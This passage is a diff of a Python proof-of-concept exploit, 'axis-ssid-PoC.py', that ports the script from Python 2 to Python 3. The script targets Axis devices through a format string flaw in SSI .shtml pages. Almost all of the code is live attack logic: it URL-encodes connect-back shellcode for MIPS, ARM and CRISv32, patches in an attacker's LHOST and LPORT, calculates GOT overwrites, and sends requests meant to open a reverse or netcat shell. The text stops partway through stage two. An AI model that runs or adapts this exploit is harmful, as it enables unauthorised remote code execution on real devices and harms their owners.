Default Remote HOST + rport = '80' # Default Remote PORT + # Not needed for the SSI exploit, here for possible future usage. +# creds = 'root:pass' + creds = False # # Try to parse all arguments # - try: - arg_parser = argparse.ArgumentParser( -# prog=sys.argv[0], - prog='axis-ssid-PoC.py', - description=('[*]' + INFO + '\n')) - arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') - arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']') - arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']') - arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']') - arg_parser.add_argument('--fms', required=False, help='Manual FMS key') - if creds: - arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']') - arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]') - arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') - arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]') - arg_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS keys and stats from dictionary, additional details with --verbose') - args = arg_parser.parse_args() - except Exception as e: - print INFO,"\nError: %s\n" % str(e) - sys.exit(1) - - # We want at least one argument, so print out help - if len(sys.argv) == 1: - arg_parser.parse_args(['-h']) - - print "\n[*]",INFO - - if args.verbose: - verbose = args.verbose - - # Print out info from dictionary - if args.dict: - target = FMSdb(rhost,verbose).FMSkey(0) - print "[db] Number of FMS keys:",len(target) - - # Print out detailed info from dictionary - if verbose: - - print "[db] Target details of FMS Keys availible for manual xploiting" - print "\n[FMS Key]\t[GOT Address]\t[BinSh Address]\t[POP1]\t[POP2]\t[POP3]\t[POP4]\t[Shellcode]" - - for tmp in range(0,len(target)): - Key = sorted(target.keys())[tmp] - temp = re.split('[-]',Key)[0:10] - - if temp[1] == 'NCSH': - print Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',target[Key][4],'\t',target[Key][5],'\t',target[Key][6] - - print "\n[FMS Key]\t[GOT Address]\t[BSS Address]\t[POP1]\t[POP2]\t[Align]\t[Buf]\t[Shellcode]" - for tmp in range(0,len(target)): - Key = sorted(target.keys())[tmp] - temp = re.split('[-]',Key)[0:10] - - if temp[1] != 'NCSH': - print Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',len(target[Key][4]),'\t',target[Key][5],'\t',target[Key][6] - - print "\n" - else: - print "[db] Target FMS Keys availible for manual xploiting instead of using auto mode:" - Key = "" - for tmp in range(0,len(target)): - Key += sorted(target.keys())[tmp] - Key += ', ' - print '\n',Key,'\n' - sys.exit(0) + try: + arg_parser = argparse.ArgumentParser( +# prog=sys.argv[0], + prog='axis-ssid-PoC.py', + description=('[*]' + INFO + '\n')) + arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') + arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']') + arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']') + arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']') + arg_parser.add_argument('--fms', required=False, help='Manual FMS key') + if creds: + arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']') + arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]') + arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') + arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]') + arg_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS keys and stats from dictionary, additional details with --verbose') + args = arg_parser.parse_args() + except Exception as e: + print(INFO,"\nError: %s\n" % str(e)) + sys.exit(1) + + # We want at least one argument, so print out help + if len(sys.argv) == 1: + arg_parser.parse_args(['-h']) + + print("\n[*]",INFO) + + if args.verbose: + verbose = args.verbose + + # Print out info from dictionary + if args.dict: + target = FMSdb(rhost,verbose).FMSkey(0) + print("[db] Number of FMS keys:",len(target)) + + # Print out detailed info from dictionary + if verbose: + + print("[db] Target details of FMS Keys availible for manual xploiting") + print("\n[FMS Key]\t[GOT Address]\t[BinSh Address]\t[POP1]\t[POP2]\t[POP3]\t[POP4]\t[Shellcode]") + + for tmp in range(0,len(target)): + Key = sorted(target.keys())[tmp] + temp = re.split('[-]',Key)[0:10] + + if temp[1] == 'NCSH': + print(Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',target[Key][4],'\t',target[Key][5],'\t',target[Key][6]) + + print("\n[FMS Key]\t[GOT Address]\t[BSS Address]\t[POP1]\t[POP2]\t[Align]\t[Buf]\t[Shellcode]") + for tmp in range(0,len(target)): + Key = sorted(target.keys())[tmp] + temp = re.split('[-]',Key)[0:10] + + if temp[1] != 'NCSH': + print(Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',len(target[Key][4]),'\t',target[Key][5],'\t',target[Key][6]) + + print("\n") + else: + print("[db] Target FMS Keys availible for manual xploiting instead of using auto mode:") + Key = "" + for tmp in range(0,len(target)): + Key += sorted(target.keys())[tmp] + Key += ', ' + print('\n',Key,'\n') + sys.exit(0) # # Check validity, update if needed, of provided options # - if args.https: - proto = HTTPS - if not args.rport: - rport = '443' + if args.https: + proto = HTTPS + if not args.rport: + rport = '443' - if creds and args.auth: - creds = args.auth + if creds and args.auth: + creds = args.auth - if args.noexploit: - noexploit = args.noexploit + if args.noexploit: + noexploit = args.noexploit - if args.rport: - rport = args.rport + if args.rport: + rport = args.rport - if args.rhost: - rhost = args.rhost + if args.rhost: + rhost = args.rhost - if args.lport: - lport = args.lport + if args.lport: + lport = args.lport - if args.lhost: - lhost = args.lhost + if args.lhost: + lhost = args.lhost - # Check if LPORT is valid - if not Validate(verbose).Port(lport): - print "[!] Invalid LPORT - Choose between 1 and 65535" - sys.exit(1) + # Check if LPORT is valid + if not Validate(verbose).Port(lport): + print("[!] Invalid LPORT - Choose between 1 and 65535") + sys.exit(1) - # Check if RPORT is valid - if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" - sys.exit(1) + # Check if RPORT is valid + if not Validate(verbose).Port(rport): + print("[!] Invalid RPORT - Choose between 1 and 65535") + sys.exit(1) - # Check if LHOST is valid IP or FQDN, get IP back - lhost = Validate(verbose).Host(lhost) - if not lhost: - print "[!] Invalid LHOST" - sys.exit(1) + # Check if LHOST is valid IP or FQDN, get IP back + lhost = Validate(verbose).Host(lhost) + if not lhost: + print("[!] Invalid LHOST") + sys.exit(1) - # Check if RHOST is valid IP or FQDN, get IP back - rhost = Validate(verbose).Host(rhost) - if not rhost: - print "[!] Invalid RHOST" - sys.exit(1) + # Check if RHOST is valid IP or FQDN, get IP back + rhost = Validate(verbose).Host(rhost) + if not rhost: + print("[!] Invalid RHOST") + sys.exit(1) # # Validation done, start print out stuff to the user # - if noexploit: - print "[i] Test mode selected, no exploiting..." - if args.https: - print "[i] HTTPS / SSL Mode Selected" - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport - print "[i] Connect back IP:",lhost - print "[i] Connect back PORT:",lport + if noexploit: + print("[i] Test mode selected, no exploiting...") + if args.https: + print("[i] HTTPS / SSL Mode Selected") + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) + print("[i] Connect back IP:",lhost) + print("[i] Connect back PORT:",lport) - rhost = rhost + ':' + rport + rhost = rhost + ':' + rport # # FMS key is required into this PoC # - if not args.fms: - print "[!] FMS key is required!" - sys.exit(1) - else: - Key = args.fms - print "[i] Trying with FMS key:",Key + if not args.fms: + print("[!] FMS key is required!") + sys.exit(1) + else: + Key = args.fms + print("[i] Trying with FMS key:",Key) # # Prepare exploiting # - # Look up the FMS key in dictionary and return pointer for FMS details to use - target = FMSdb(rhost,verbose).FMSkey(Key) - - if target[Key][6] == 'NCSH1': - NCSH1 = target[Key][6] - NCSH2 = "" - elif target[Key][6] == 'NCSH2': - NCSH2 = target[Key][6] - NCSH1 = "" - else: - NCSH1 = "" - NCSH2 = "" - - if Key == 'ARM-NCSH-5.8x': - print "\nExploit working, but will end up in endless loop after exiting remote NCSH\nDoS sux, so I'm exiting before that shit....\n\n" - sys.exit(0) - - print "[i] Preparing shellcode:",str(target[Key][6]) - - # We don't use url encoded shellcode with Netcat shell - # This is for MIPS/CRISv32 and ARM shellcode - if not NCSH1 and not NCSH2: - FMSdata = target[Key][4] # This entry aligns the injected shellcode - - # Building up the url encoded shellcode for sending to the target, - # and replacing LHOST / LPORT in shellcode to choosen values - - # part of first 500 decoded bytes will be overwritten during stage #2, and since - # there is different 'tailing' on the request internally, keep it little more than needed, to be safe. - # Let it be 0x00, just for fun. - FMSdata += '%00' * target[Key][5] - - # Connect back IP to url encoded - ip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.'))) - ip_hex = ip_hex.split() - IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3]; - - # Let's break apart the hex code of LPORT into two bytes - port_hex = hex(int(lport))[2:] - port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2) - port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2)) - port_hex = port_hex.split() - - if (target[Key][6]) == 'MIPSel': - # Connect back PORT - if len(port_hex) == 1: - PP1 = "%ff" - PP0 = '%{:02x}'.format((int(port_hex[0],16)-1)) - elif len(port_hex) == 2: - # Little Endian - PP1 = '%{:02x}'.format((int(port_hex[0],16)-1)) - PP0 = '%{:02x}'.format(int(port_hex[1],16)) - elif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32 - # Connect back PORT - if len(port_hex) == 1: - PP1 = "%00" - PP0 = '%{:02x}'.format(int(port_hex[0],16)) - elif len(port_hex) == 2: - # Little Endian - PP1 = '%{:02x}'.format(int(port_hex[0],16)) - PP0 = '%{:02x}'.format(int(port_hex[1],16)) - elif (target[Key][6]) == 'CRISv32': - # Connect back PORT - if len(port_hex) == 1: - PP1 = "%00" - PP0 = '%{:02x}'.format(int(port_hex[0],16)) - elif len(port_hex) == 2: - # Little Endian - PP1 = '%{:02x}'.format(int(port_hex[0],16)) - PP0 = '%{:02x}'.format(int(port_hex[1],16)) - else: - print "[!] Unknown shellcode! (%s)" % str(target[Key][6]) - sys.exit(1) - - # Replace LHOST / LPORT in URL encoded shellcode - shell = shellcode_db(rhost,verbose).sc(target[Key][6]) - shell = shell.replace("IP1",IP1) - shell = shell.replace("IP2",IP2) - shell = shell.replace("IP3",IP3) - shell = shell.replace("IP4",IP4) - shell = shell.replace("PP0",PP0) - shell = shell.replace("PP1",PP1) - FMSdata += shell + # Look up the FMS key in dictionary and return pointer for FMS details to use + target = FMSdb(rhost,verbose).FMSkey(Key) + + if target[Key][6] == 'NCSH1': + NCSH1 = target[Key][6] + NCSH2 = "" + elif target[Key][6] == 'NCSH2': + NCSH2 = target[Key][6] + NCSH1 = "" + else: + NCSH1 = "" + NCSH2 = "" + + if Key == 'ARM-NCSH-5.8x': + print("\nExploit working, but will end up in endless loop after exiting remote NCSH\nDoS sux, so I'm exiting before that shit....\n\n") + sys.exit(0) + + print("[i] Preparing shellcode:",str(target[Key][6])) + + # We don't use url encoded shellcode with Netcat shell + # This is for MIPS/CRISv32 and ARM shellcode + if not NCSH1 and not NCSH2: + FMSdata = target[Key][4] # This entry aligns the injected shellcode + + # Building up the url encoded shellcode for sending to the target, + # and replacing LHOST / LPORT in shellcode to choosen values + + # part of first 500 decoded bytes will be overwritten during stage #2, and since + # there is different 'tailing' on the request internally, keep it little more than needed, to be safe. + # Let it be 0x00, just for fun. + FMSdata += '%00' * target[Key][5] + + # Connect back IP to url encoded + ip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.'))) + ip_hex = ip_hex.split() + IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3]; + + # Let's break apart the hex code of LPORT into two bytes + port_hex = hex(int(lport))[2:] + port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2) + port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2)) + port_hex = port_hex.split() + + if (target[Key][6]) == 'MIPSel': + # Connect back PORT + if len(port_hex) == 1: + PP1 = "%ff" + PP0 = '%{:02x}'.format((int(port_hex[0],16)-1)) + elif len(port_hex) == 2: + # Little Endian + PP1 = '%{:02x}'.format((int(port_hex[0],16)-1)) + PP0 = '%{:02x}'.format(int(port_hex[1],16)) + elif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32 + # Connect back PORT + if len(port_hex) == 1: + PP1 = "%00" + PP0 = '%{:02x}'.format(int(port_hex[0],16)) + elif len(port_hex) == 2: + # Little Endian + PP1 = '%{:02x}'.format(int(port_hex[0],16)) + PP0 = '%{:02x}'.format(int(port_hex[1],16)) + elif (target[Key][6]) == 'CRISv32': + # Connect back PORT + if len(port_hex) == 1: + PP1 = "%00" + PP0 = '%{:02x}'.format(int(port_hex[0],16)) + elif len(port_hex) == 2: + # Little Endian + PP1 = '%{:02x}'.format(int(port_hex[0],16)) + PP0 = '%{:02x}'.format(int(port_hex[1],16)) + else: + print("[!] Unknown shellcode! (%s)" % str(target[Key][6])) + sys.exit(1) + + # Replace LHOST / LPORT in URL encoded shellcode + shell = shellcode_db(rhost,verbose).sc(target[Key][6]) + shell = shell.replace("IP1",IP1) + shell = shell.replace("IP2",IP2) + shell = shell.replace("IP3",IP3) + shell = shell.replace("IP4",IP4) + shell = shell.replace("PP0",PP0) + shell = shell.replace("PP1",PP1) + FMSdata += shell # # Calculate the FMS values to be used # - # Get pre-defined values - ALREADY_WRITTEN = 40 # Already 'written' in the daemon before our FMS -# POP_SIZE = 8 - POP_SIZE = 1 - - GOThex = target[Key][0] - BSShex = target[Key][1] - GOTint = int(GOThex) - - # 'One-Write-Where-And-What' - if not NCSH1 and not NCSH2: - - POP1 = target[Key][2] - POP2 = target[Key][3] - - # Calculate for creating the FMS code - ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE) - GOTint = (GOTint - ALREADY_WRITTEN) - - ALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE) - - BSSint = int(BSShex) - BSSint = (BSSint - GOTint - ALREADY_WRITTEN) - -# if verbose: -# print "[Verbose] Calculated GOTint:",GOTint,"Calculated BSSint:",BSSint - - # 'Two-Write-Where-And-What' using "New Style" - elif NCSH2: - - POP1 = target[Key][2] - POP2 = target[Key][3] - POP3 = target[Key][4] - POP4 = target[Key][5] - POP2_SIZE = 2 - - # We need to count higher than provided address for the jump - BaseAddr = 0x10000 + BSShex - - # Calculate for creating the FMS code - GOTint = (GOTint - ALREADY_WRITTEN) - - ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint - - # Calculate FirstWhat value - FirstWhat = BaseAddr - (ALREADY_WRITTEN) - - ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat - - # Calculate SecondWhat value, so it always is 0x20300 - SecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE) - - shell = shellcode_db(rhost,verbose).sc(target[Key][6]) - shell = shell.replace("LHOST",lhost) - shell = shell.replace("LPORT",lport) - - FirstWhat = FirstWhat - len(shell) - -# if verbose: -# print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat - - - # 'Two-Write-Where-And-What' using "Old Style" - elif NCSH1: - - POP1 = target[Key][2] - POP2 = target[Key][3] - POP3 = target[Key][4] - POP4 = target[Key][5] - POP2_SIZE = 2 - - # FirstWhat writes with 4 bytes (Y) (0x0002YYYY) - # SecondWhat writes with 1 byte (Z) (0x00ZZYYYY) - if BSShex > 0x10000: - MSB = 1 - else: - MSB = 0 - - # We need to count higher than provided address for the jump - BaseAddr = 0x10000 + BSShex - - # Calculate for creating the FMS code - ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE) - - GOTint = (GOTint - ALREADY_WRITTEN) - - ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE) - - # Calculate FirstWhat value - FirstWhat = BaseAddr - (ALREADY_WRITTEN) - - ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE) - - # Calculate SecondWhat value, so it always is 0x203[00] or [01] - SecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB - - shell = shellcode_db(rhost,verbose).sc(target[Key][6]) - shell = shell.replace("LHOST",lhost) - shell = shell.replace("LPORT",lport) - - GOTint = GOTint - len(shell) - -# if verbose: -# print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat - - else: - print "[!] NCSH missing, exiting" - sys.exit(1) + # Get pre-defined values + ALREADY_WRITTEN = 40 # Already 'written' in the daemon before our FMS +# POP_SIZE = 8 + POP_SIZE = 1 + + GOThex = target[Key][0] + BSShex = target[Key][1] + GOTint = int(GOThex) + + # 'One-Write-Where-And-What' + if not NCSH1 and not NCSH2: + + POP1 = target[Key][2] + POP2 = target[Key][3] + + # Calculate for creating the FMS code + ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE) + GOTint = (GOTint - ALREADY_WRITTEN) + + ALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE) + + BSSint = int(BSShex) + BSSint = (BSSint - GOTint - ALREADY_WRITTEN) + +# if verbose: +# print "[Verbose] Calculated GOTint:",GOTint,"Calculated BSSint:",BSSint + + # 'Two-Write-Where-And-What' using "New Style" + elif NCSH2: + + POP1 = target[Key][2] + POP2 = target[Key][3] + POP3 = target[Key][4] + POP4 = target[Key][5] + POP2_SIZE = 2 + + # We need to count higher than provided address for the jump + BaseAddr = 0x10000 + BSShex + + # Calculate for creating the FMS code + GOTint = (GOTint - ALREADY_WRITTEN) + + ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + + # Calculate FirstWhat value + FirstWhat = BaseAddr - (ALREADY_WRITTEN) + + ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + + # Calculate SecondWhat value, so it always is 0x20300 + SecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE) + + shell = shellcode_db(rhost,verbose).sc(target[Key][6]) + shell = shell.replace("LHOST",lhost) + shell = shell.replace("LPORT",lport) + + FirstWhat = FirstWhat - len(shell) + +# if verbose: +# print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat + + + # 'Two-Write-Where-And-What' using "Old Style" + elif NCSH1: + + POP1 = target[Key][2] + POP2 = target[Key][3] + POP3 = target[Key][4] + POP4 = target[Key][5] + POP2_SIZE = 2 + + # FirstWhat writes with 4 bytes (Y) (0x0002YYYY) + # SecondWhat writes with 1 byte (Z) (0x00ZZYYYY) + if BSShex > 0x10000: + MSB = 1 + else: + MSB = 0 + + # We need to count higher than provided address for the jump + BaseAddr = 0x10000 + BSShex + + # Calculate for creating the FMS code + ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE) + + GOTint = (GOTint - ALREADY_WRITTEN) + + ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE) + + # Calculate FirstWhat value + FirstWhat = BaseAddr - (ALREADY_WRITTEN) + + ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE) + + # Calculate SecondWhat value, so it always is 0x203[00] or [01] + SecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB + + shell = shellcode_db(rhost,verbose).sc(target[Key][6]) + shell = shell.replace("LHOST",lhost) + shell = shell.replace("LPORT",lport) + + GOTint = GOTint - len(shell) + +# if verbose: +# print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat + + else: + print("[!] NCSH missing, exiting") + sys.exit(1) # # Let's start the exploiting procedure # @@ -1482,62 +1483,62 @@ def Host(self,HOST): # # Stage one # - if NCSH1 or NCSH2: - - # "New Style" needs to make the exploit in two stages - if NCSH2: - FMScode = do_FMS(rhost,verbose) - # Writing 'FirstWhere' and 'SecondWhere' - # 1st request - FMScode.AddADDR(GOTint) # Run up to free() GOT address - # - # 1st and 2nd "Write-Where" - FMScode.AddDirectParameterN(POP1) # Write 1st Where - FMScode.Add("XX") # Jump up two bytes for next address - FMScode.AddDirectParameterN(POP2) # Write 2nd Where - FMSdata = FMScode.FMSbuild() - else: - FMSdata = "" - - print "[>] StG_1: Preparing netcat connect back shell to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata)) - else: - print "[>] StG_1: Sending and decoding shellcode to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata)) - - # Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM - # Actually, any valid and public readable .shtml file will work... - # (One of the two below seems always to be usable) - # - # For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two - # For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url - # - try: - target_url = "/httpDisabled.shtml?user_agent=" - if noexploit: - target_url2 = target_url - else: - target_url2 = "/httpDisabled.shtml?&http_user=" - - if NCSH2: - html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell - else: - html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata) - except urllib2.HTTPError as e: - if e.code == 404: - print "[<] Error",e.code,e.reason - target_url = "/view/viewer_index.shtml?user_agent=" - if noexploit: - target_url2 = target_url - else: - target_url2 = "/view/viewer_index.shtml?&http_user=" - print "[>] Using alternative target shtml" - if NCSH2: - html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell - else: - html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata) - except Exception as e: - if not NCSH2: - print "[!] Shellcode delivery failed:",str(e) - sys.exit(1) + if NCSH1 or NCSH2: + + # "New Style" needs to make the exploit in two stages + if NCSH2: + FMScode = do_FMS(rhost,verbose) + # Writing 'FirstWhere' and 'SecondWhere' + # 1st request + FMScode.AddADDR(GOTint) # Run up to free() GOT address + # + # 1st and 2nd "Write-Where" + FMScode.AddDirectParameterN(POP1) # Write 1st Where + FMScode.Add("XX") # Jump up two bytes for next address + FMScode.AddDirectParameterN(POP2) # Write 2nd Where + FMSdata = FMScode.FMSbuild() + else: + FMSdata = "" + + print("[>] StG_1: Preparing netcat connect back shell to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata))) + else: + print("[>] StG_1: Sending and decoding shellcode to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata))) + + # Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM + # Actually, any valid and public readable .shtml file will work... + # (One of the two below seems always to be usable) + # + # For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two + # For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url + # + try: + target_url = "/httpDisabled.shtml?user_agent=" + if noexploit: + target_url2 = target_url + else: + target_url2 = "/httpDisabled.shtml?&http_user=" + + if NCSH2: + html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell + else: + html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata) + except urllib2.HTTPError as e: + if e.code == 404: + print("[<] Error",e.code,e.reason) + target_url = "/view/viewer_index.shtml?user_agent=" + if noexploit: + target_url2 = target_url + else: + target_url2 = "/view/viewer_index.shtml?&http_user=" + print("[>] Using alternative target shtml") + if NCSH2: + html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell + else: + html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata) + except Exception as e: + if not NCSH2: + print("[!] Shellcode delivery failed:",str(e)) + sys.exit(1) # # Stage two # @@ -1545,185 +1546,185 @@ def Host(self,HOST): # # Building and sending the FMS code to the target # - print "[i] Building the FMS code..." - - FMScode = do_FMS(rhost,verbose) - - # This is an 'One-Write-Where-And-What' for FMS - # - # Stack Example: - # - # Stack content | Stack address (ASLR) - # - # 0x0 | @0x7e818dbc -> [POP1's] - # 0x0 | @0x7e818dc0 -> [free () GOT address] - # 0x7e818dd0 | @0x7e818dc4>>>>>+ "Write-Where" (%n) - # 0x76f41fb8 | @0x7e818dc8 | -> [POP2's] - # 0x76f3d70c | @0x7e818dcc | -> [BSS shell code address] - # 0x76f55ab8 | @0x7e818dd0<<<<<+ "Write-What" (%n) - # 0x1 | @0x7e818dd4 - # - if not NCSH1 and not NCSH2: - FMScode.AddPOP(POP1) # 1st serie of 'Old Style' POP's - FMScode.AddADDR(GOTint) # GOT Address - FMScode.AddWRITEn(1) # 4 bytes Write-Where -# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx) - - FMScode.AddPOP(POP2) # 2nd serie of 'Old Style' POP's - FMScode.AddADDR(BSSint) # BSS shellcode address - FMScode.AddWRITEn(1) # 4 bytes Write-What -# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx) - - # End of 'One-Write-Where-And-What' - - - # This is an 'Two-Write-Where-And-What' for FMS - # - # Netcat shell and FMS code in same request, we will jump to the SSI function - # We jump over all SSI tagging to end up directly where "xxx" will - # be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv()) - # - # The Trick here is to write lower target address, that we will jump to when calling free(), - # than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT - # address with two LSB writes. - # - elif NCSH2: - # - # Direct parameter access for FMS exploitation are really nice and easy to use. - # However, we need to exploit in two stages with two requests. - # (I was trying to avoid this "Two-Stages" so much as possibly in this exploit developement...) - # - # 1. Write "Two-Write-Where", where 2nd is two bytes higher than 1st (this allows us to write to MSB and LSB) - # 2. Write with "Two-Write-What", where 1st (LSB) and 2nd (MSB) "Write-Where" pointing to. - # - # With "new style", we can write with POPs independently as we don't depended of same criteria as in "NCSH1", - # we can use any regular "Stack-to-Stack" pointer as we can freely choose the POP-and-Write. - # [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.] - # - # Stack Example: - # - # Stack content | Stack address (ASLR) - # - # 0x7e818dd0 | @0x7e818dc4>>>>>+ 1st "Write-Where" [@Stage One] - # 0x76f41fb8 | @0x7e818dc8 | - # 0x76f3d70c | @0x7e818dcc | - # 0x76f55ab8 | @0x7e818dd0<<<<<+ 1st "Write-What" [@Stage Two] - # 0x1 | @0x7e818dd4 - # [....] - # 0x1c154 | @0x7e818e10 - # 0x7e818e20 | @0x7e818e14>>>>>+ 2nd "Write-Where" [@Stage One] - # 0x76f41fb8 | @0x7e818e18 | - # 0x76f3d70c | @0x7e818e1c | - # 0x76f55758 | @0x7e818e20<<<<<+ 2nd "Write-What" [@Stage Two] - # 0x1 | @0x7e818e24 - # - - FMScode.Add(shell) - - # - # 1st and 2nd "Write-Where" already done in stage one - # - # 1st and 2nd "Write-What" - # - FMScode.AddADDR(GOTint + FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address. - FMScode.AddDirectParameterN(POP3) # Write with 4 bytes (we want to zero out in MSB) - FMScode.AddADDR(SecondWhat + 3) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX) - FMScode.AddDirectParameterHHN(POP4) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation - - elif NCSH1: - # Could use direct argument addressing here, but I like to keep "old style" as well, - # as it's another interesting concept. - # - # Two matching stack contents -> stack address in row w/o or max two POP's between, - # is needed to write two bytes higher (MSB). - # - # - # Stack Example: - # - # Stack Content | @Stack Address (ASLR) - # - # 0x9c | @7ef2fde8 -> [POP1's] - # [....] - # 0x1 | @7ef2fdec -> [GOTint address] - #------ - # 0x7ef2fe84 | @7ef2fdf0 >>>>>+ Write 'FirstWhere' (%n) [LSB] - # -> 'XX' | two bytes (Can be one or two POP's as well, by using %2c or %1c%1c as POPer) - # 0x7ef2fe8c | @7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB] - # ------ | | - # [....] -> [POP3's] | | - # 0x7fb99dc | @7ef2fe7c | | - # 0x7ef2fe84 | @7ef2fe80 | | [Count up to 0x2XXXX] - # 0x7ef2ff6a | @7ef2fe84 <<<<<+ | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX)) - # -> [POP4's] | - # (nil) | @7ef2fe88 | [Count up to 0x20300] - # 0x7ef2ff74 | @7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX) - - FMScode.Add(shell) - - # Write FirstWhere for 'FirstWhat' - FMScode.AddPOP(POP1) - FMScode.AddADDR(GOTint) # Run up to free() GOT address - FMScode.AddWRITEn(1) - - # Write SecondWhere for 'SecondWhat' - # - # This is special POP with 1 byte, we can maximum POP 2! - # - # This POP 